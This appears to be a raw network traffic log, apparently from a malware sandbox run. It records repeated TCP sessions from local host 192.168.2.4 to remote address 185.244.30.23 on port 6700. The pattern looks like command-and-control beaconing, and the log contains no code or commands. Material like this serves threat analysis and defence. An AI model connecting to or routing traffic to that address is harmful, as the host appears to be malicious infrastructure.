Aug 3, 2021 20:41:57.373718977 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.373980045 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.374031067 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.374727964 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.374988079 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.375042915 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.375530005 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.376125097 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.376198053 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.376211882 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.376667023 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.376722097 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.378148079 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.378375053 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.378428936 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.388484955 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.389053106 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.389139891 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.390455008 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.390485048 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.390567064 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.390865088 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.393935919 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.394030094 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.396049976 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.396078110 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.396190882 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.396245003 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.396262884 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.396318913 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.396364927 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.396400928 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.396426916 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.396445036 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.398174047 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.398267031 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.398272991 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.398344994 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.398416042 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.398505926 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.398535967 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.398602009 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.399151087 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.399708033 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.399779081 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.400420904 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.400455952 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.400531054 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.401070118 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.401226044 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.401254892 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.401349068 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.411051035 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.411168098 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.411237001 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.411556005 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.411624908 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.411858082 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.412106037 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.412174940 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.412517071 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.412837029 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.412867069 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.412951946 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.413144112 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.413212061 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.451014996 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.451432943 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.451517105 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.539949894 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.540009022 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.540044069 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.540076971 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.540102959 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.540131092 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.542340040 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.542385101 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.542423010 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.542460918 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.542476892 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.542499065 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.542517900 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.542547941 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.542607069 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.542702913 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.542742968 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.542788982 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.545613050 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.545656919 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.545722961 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.545768023 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.545806885 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.545876980 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.545885086 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.545948982 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.545998096 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.546046019 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.546086073 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.546122074 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.546143055 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.546169043 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.546211004 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.546216011 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.546379089 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.546421051 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.546443939 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.546458006 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.546521902 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.546524048 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.546571970 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.546617031 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.546643019 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.547694921 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.547736883 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.547781944 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.547807932 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.547836065 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.558979034 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.559190989 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.559310913 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.559357882 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.559524059 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.559593916 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.559717894 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.559762001 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.559813976 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.560009003 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.560101032 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.560159922 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.560858011 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.561007977 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.561073065 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.561223030 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.561310053 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.561367989 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.563060999 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.563261986 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.563322067 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.563329935 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.563513994 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.563577890 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.564287901 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.564326048 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.564389944 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.564429998 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.564513922 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.564567089 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.564737082 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.564820051 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.564874887 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.564939022 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.565730095 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.565805912 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.565912962 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.566436052 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.566499949 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.567204952 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.567325115 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.567385912 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.567599058 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.567883968 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.567956924 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.568078041 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.616329908 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:58.149321079 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:02.678699017 CEST	49778	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:02.845325947 CEST	6700	49778	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:02.845511913 CEST	49778	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:02.846133947 CEST	49778	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:03.060580015 CEST	6700	49778	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:03.071082115 CEST	6700	49778	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:03.071352005 CEST	49778	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:03.240904093 CEST	6700	49778	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:03.244507074 CEST	49778	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:03.472651005 CEST	6700	49778	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:03.474611044 CEST	49778	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:03.707432985 CEST	6700	49778	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:03.925065994 CEST	6700	49778	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:03.976284027 CEST	49778	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:04.091533899 CEST	49778	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:04.144078970 CEST	6700	49778	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:04.195060015 CEST	49778	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:04.318387985 CEST	6700	49778	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:04.318469048 CEST	49778	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:04.485542059 CEST	6700	49778	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:04.492697954 CEST	49778	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:04.659885883 CEST	6700	49778	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:04.707720995 CEST	49778	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:04.926744938 CEST	6700	49778	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:05.220504999 CEST	49778	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:09.560516119 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:09.727562904 CEST	6700	49779	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:09.727688074 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:09.741091967 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:09.948539972 CEST	6700	49779	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:09.975027084 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:10.143832922 CEST	6700	49779	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:10.147216082 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:10.409017086 CEST	6700	49779	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:10.409159899 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:10.528599024 CEST	6700	49779	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:10.570552111 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:10.576425076 CEST	6700	49779	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:10.577002048 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:10.810764074 CEST	6700	49779	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:10.812880039 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:10.980199099 CEST	6700	49779	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:11.023760080 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:11.211762905 CEST	6700	49779	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:11.258188009 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:11.274462938 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:11.490030050 CEST	6700	49779	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:12.119520903 CEST	6700	49779	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:12.164484978 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:12.274653912 CEST	49779	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:16.364819050 CEST	49780	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:16.531583071 CEST	6700	49780	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:16.531748056 CEST	49780	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:16.538073063 CEST	49780	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:16.753201962 CEST	6700	49780	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:16.753772974 CEST	49780	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:16.925622940 CEST	6700	49780	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:16.931351900 CEST	49780	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:17.158852100 CEST	6700	49780	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:17.290865898 CEST	49780	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:17.321482897 CEST	6700	49780	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:17.368001938 CEST	49780	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:17.460546017 CEST	6700	49780	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:17.461796999 CEST	49780	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:17.679338932 CEST	6700	49780	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:17.681781054 CEST	49780	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:17.848335981 CEST	6700	49780	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:17.899323940 CEST	49780	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:18.065778971 CEST	6700	49780	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:18.107934952 CEST	49780	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:18.290440083 CEST	49780	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:18.518497944 CEST	6700	49780	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:19.276221991 CEST	49780	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:23.442224979 CEST	49781	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:23.609354019 CEST	6700	49781	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:23.609555006 CEST	49781	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:23.610472918 CEST	49781	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:23.806505919 CEST	6700	49781	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:23.816231966 CEST	49781	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:23.985306978 CEST	6700	49781	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:24.017648935 CEST	49781	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:24.240426064 CEST	6700	49781	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:24.322216034 CEST	49781	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:24.414485931 CEST	6700	49781	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:24.462539911 CEST	49781	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:24.488886118 CEST	6700	49781	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:24.489085913 CEST	49781	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:24.707813978 CEST	6700	49781	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:24.707912922 CEST	49781	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:24.878432035 CEST	6700	49781	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:24.934411049 CEST	49781	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:25.101588011 CEST	6700	49781	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:25.150012016 CEST	49781	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:25.371994019 CEST	49781	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:25.596617937 CEST	6700	49781	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:26.371649027 CEST	49781	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:30.440877914 CEST	49782	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:30.608434916 CEST	6700	49782	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:30.609183073 CEST	49782	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:30.609821081 CEST	49782	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:30.790024042 CEST	6700	49782	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:30.790257931 CEST	49782	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:30.960088968 CEST	6700	49782	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:30.963227987 CEST	49782	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:31.190978050 CEST	6700	49782	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:31.388663054 CEST	6700	49782	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:31.393671036 CEST	49782	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:31.775609970 CEST	49782	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:31.942208052 CEST	6700	49782	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:31.942317009 CEST	49782	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:31.989132881 CEST	6700	49782	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:31.989195108 CEST	49782	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:32.109318018 CEST	6700	49782	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:32.156708956 CEST	6700	49782	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:32.156914949 CEST	49782	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:32.324184895 CEST	6700	49782	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:32.369440079 CEST	49782	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:32.479268074 CEST	49782	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:38.427663088 CEST	49783	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:38.597919941 CEST	6700	49783	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:38.598074913 CEST	49783	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:38.598742008 CEST	49783	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:38.799478054 CEST	6700	49783	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:38.932554007 CEST	49783	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:39.082947969 CEST	49783	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:39.635584116 CEST	49783	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:39.847886086 CEST	6700	49783	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:39.862355947 CEST	6700	49783	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:39.876521111 CEST	49783	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:40.099792004 CEST	6700	49783	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:40.307173014 CEST	6700	49783	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:40.343986988 CEST	49783	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:40.514838934 CEST	6700	49783	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:40.514913082 CEST	49783	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:40.737193108 CEST	6700	49783	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:40.737349987 CEST	49783	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:40.908143044 CEST	6700	49783	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:41.135647058 CEST	49783	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:41.303276062 CEST	6700	49783	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:41.432579041 CEST	49783	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:41.433259964 CEST	49783	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:45.585232019 CEST	49784	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:45.753099918 CEST	6700	49784	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:45.753246069 CEST	49784	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:45.767441988 CEST	49784	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:45.961656094 CEST	6700	49784	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:45.967775106 CEST	49784	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:46.136099100 CEST	6700	49784	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:46.137597084 CEST	49784	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:46.362193108 CEST	6700	49784	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:46.454739094 CEST	49784	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:46.686242104 CEST	6700	49784	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:46.704473019 CEST	6700	49784	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:46.711419106 CEST	49784	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:46.878599882 CEST	6700	49784	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:46.918807030 CEST	49784	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:47.086765051 CEST	6700	49784	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:47.087316036 CEST	49784	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:47.257709980 CEST	6700	49784	185.244.30.23	192.168.2.4
Aug 3, 2021 20:42:47.308023930 CEST	49784	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:42:47.434933901 CEST	49784	6700	192.168.2.4	185.244.30.23
